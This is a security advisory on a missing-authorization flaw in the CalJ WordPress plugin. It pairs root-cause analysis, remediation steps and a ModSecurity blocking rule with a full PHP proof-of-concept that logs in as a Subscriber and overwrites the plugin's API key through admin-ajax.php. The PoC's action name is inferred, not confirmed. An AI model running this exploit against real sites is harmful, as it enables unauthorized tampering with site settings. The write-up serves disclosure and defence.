Atomic Edge analysis of CVE-2026-4117 (metadata-based): This vulnerability affects the CalJ plugin for WordPress, version 1.5 and earlier. The plugin’s settings page class (CalJSettingsPage) lacks authorization checks when processing the ‘save-obtained-key’ operation. This allows authenticated users with Subscriber-level access or higher to modify the plugin’s API key and clear the Shabbat cache. The CVSS score of 5.3 (Medium) reflects the low complexity and lack of required privileges, though the impact is limited to integrity only.
The root cause, confirmed by the CWE-862 classification and the vulnerability description, is a missing capability check in the CalJSettingsPage class constructor. The constructor processes POST data for the ‘save-obtained-key’ operation without verifying that the user has the ‘manage_options’ capability. Additionally, there is no nonce verification, which would normally prevent cross-site request forgery. The bootstrap file (calj.php) instantiates CalJSettingsPage whenever is_admin() returns true, which includes any authenticated user accessing wp-admin URLs or admin-ajax.php. Atomic Edge analysis infers that the constructor likely calls add_action or add_submenu_page with insufficient permission checks, or directly processes the POST data without any authorization hook.
Exploitation is straightforward. An attacker with a Subscriber account can send a POST request to /wp-admin/admin-ajax.php with the action parameter likely set to ‘save-obtained-key’ or a similar AJAX action name derived from the plugin slug. The request would include the new API key value and possibly a ‘clear_cache’ parameter. Since there is no nonce check, the attacker does not need to discover a valid nonce. For example, an attacker could use cURL or a browser console to POST to /wp-admin/admin-ajax.php?action=calj_save_obtained_key with parameters api_key=attacker_controlled_key and clear_shabbat_cache=1. The exact action name is inferred based on the description mentioning ‘save-obtained-key’ as an operation.
Remediation requires implementing proper authorization and nonce verification in the CalJSettingsPage class. The fix should check the current user’s capability using current_user_can(‘manage_options’) before processing the ‘save-obtained-key’ operation. Additionally, a nonce should be generated and verified using wp_nonce_field() in the form and check_admin_referer() or wp_verify_nonce() upon submission. The class should also consider restricting the AJAX handler to users with the required capability using a capability check before execution.
If exploited, an attacker can modify the plugin’s API key, effectively hijacking the API integration for the Jewish calendar functionality. This could allow the attacker to supply a malicious API key, potentially redirecting data through their own server or breaking the plugin’s functionality. Clearing the Shabbat cache could cause denial of service for legitimate users who rely on accurate Shabbat times. However, the impact is limited to data integrity and availability of the plugin’s features; there is no direct data exposure or privilege escalation to administrative roles.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20264117,phase:2,deny,status:403,chain,msg:'CVE-2026-4117 - CalJ Missing Authorization via save-obtained-key',severity:'CRITICAL',tag:'CVE-2026-4117'"
SecRule ARGS_POST:action "@streq calj_save_obtained_key" "chain"
SecRule ARGS_POST:api_key "@rx ^.+$" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4117 - CalJ <= 1.5 - Authenticated (Subscriber+) Arbitrary Settings Modification via 'save-obtained-key' Action
// This PoC assumes the AJAX action is derived from the plugin slug and the operation name.
// The exact action name should be 'calj_save_obtained_key' based on common WordPress plugin conventions.
<?php
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'attacker'; // Subscriber-level account
$password = 'password'; // Password for the subscriber account
// Step 1: Authenticate and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Send the exploit request to modify the API key and clear cache
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'calj_save_obtained_key', // Inferred AJAX action name
'api_key' => 'MALICIOUS_API_KEY_HERE', // Arbitrary API key to set
'clear_shabbat_cache' => '1' // Clear Shabbat cache
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Output result
if ($http_code == 200) {
echo "[+] Exploit successful. Check the target site's CalJ settings for the modified API key.n";
} else {
echo "[-] Exploit failed. HTTP response code: " . $http_code . "n";
echo "[-] Response: " . $response . "n";
}
// Clean up
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
